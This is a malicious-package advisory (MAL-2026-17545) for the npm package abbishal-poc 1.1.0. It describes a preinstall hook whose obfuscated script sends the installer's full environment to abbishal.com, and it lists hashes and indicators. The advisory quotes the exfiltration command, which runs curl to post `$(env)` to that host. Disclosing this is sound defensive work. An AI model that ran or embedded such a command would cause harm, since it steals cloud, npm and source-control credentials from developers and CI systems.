Malicious code in abbishal-poc (npm)
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (f3d3f60fb75143a3cdfedea0c2f185e0556053cd458cd5e76cd5303bf406eb32) On `npm install`, package.json's preinstall hook runs `sh./test.sh`, which uses character-split variable obfuscation (b=e, i=c, s=n, h=u, a=v, l=rl) to reconstruct and execute `curl -d "$(env)" https://abbishal.com/sh/poc`. The script dumps the installer's full process environment — which on CI/CD and developer hosts typically contains cloud credentials (AWS_*), publish tokens (NPM_TOKEN), source-control tokens (GITHUB_TOKEN) and other secrets — and POSTs the contents to the author-controlled domain abbishal.com. The destination is hardcoded and not caller-configurable. In-script comments explicitly describe evading npm's malware scanners, and the README's claims of 'no network requests' and 'no data collection' contradict the actual behavior.
MAL-2026-17545
Primary source · Revision 1
Imported from structured advisory data. Source references identify upstream records or fields; verify affected versions and your deployed configuration.
Security context
Source reference: osv:MAL-2026-17545
abbishal-poc
Source reference: /affected/0/package/name
- Affected versions
- 1.1.0
Source reference:
/affected/0/versions - Fixed versions
- Not stated in this record
- Prerequisites
- Not stated in this record
Structured affected-version data
Original package identities and version rules from this source.
[
{
"package": {
"name": "abbishal-poc",
"purl": "pkg:npm/abbishal-poc",
"ecosystem": "npm"
},
"versions": [
"1.1.0"
],
"database_specific": {
"cwes": [
{
"name": "Embedded Malicious Code",
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature."
}
],
"source": "https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/abbishal-poc/MAL-2026-17545.json",
"indicators": {
"evidence_files": [
{
"path": "test.sh",
"tlsh": "c60123f34a646374edf908b31a5d13e6c2b4a05a857358b852ef510512026e4123bd25",
"sha256": "18a6b6485d45d2b52b570abb42355d59865866191761267e137be12061eebf29"
}
],
"package_integrity": [
{
"hashes": {
"sha1": "dfa84c45165d6c80e53b969551a016595e724fa3",
"sha512_sri": "sha512-nel38YeFu2J7lRIIGwvRpB45nWzz1SwZf2UgYFfTWwDNZ3N4nR7vkfjWsSNtxJ9v/EfKxLuYOz90PX/sBG4K1A=="
},
"filename": "abbishal-poc-1.1.0.tgz"
}
]
}
}
}
]Publisher severity
No explicit severity was provided.
- Event
- #83622 · Revision 1
- Added to Heist Feed
- Publisher date